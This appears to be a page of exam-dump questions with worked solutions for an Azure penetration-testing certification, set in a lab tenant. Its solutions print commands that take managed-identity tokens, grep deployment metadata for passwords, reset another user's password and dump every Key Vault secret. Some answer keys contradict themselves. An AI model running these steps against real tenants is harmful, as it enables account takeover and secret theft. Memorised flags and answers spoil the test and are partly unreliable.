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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Reconnaissance & Enumeration | 20% | - Azure resource discovery - DNS, endpoints, and exposed services mapping - Entra ID (Azure AD) enumeration - Azure tenant and domain enumeration |
| Topic 2: Initial Access | 20% | - Exposed secrets and configuration flaws - Token and session abuse - Password spraying and credential stuffing - Consent phishing and application abuse |
| Topic 3: Privilege Escalation | 25% | - Managed Identity exploitation - Entra ID role and permission abuse - Service Principal and App Registration attacks - Key Vault and secret management misconfigurations |
| Topic 4: Post-Exploitation & Persistence | 15% | - Full attack chain demonstration - Data collection and exfiltration techniques - Maintaining persistent access - Defense evasion in Azure environment |
| Topic 5: Lateral Movement & Tenant Compromise | 20% | - Compute, storage, and network pivoting - Hybrid identity and on-prem integration abuse - Cross-resource and subscription hopping - API and Azure management endpoint exploitation |
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NEW QUESTION # 21
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
NEW QUESTION # 22
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
Answer: A
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 23
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 24
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
Answer: A
Explanation:
Detailed Solution:
On an Azure VM with a system-assigned managed identity, run:
az login --identity
Then verify:
az account show
For a user-assigned managed identity, specify the client ID:
az login --identity --client-id < client-id >
Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.
Correct answer:
B). az login --identity
NEW QUESTION # 25
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
NEW QUESTION # 26
......
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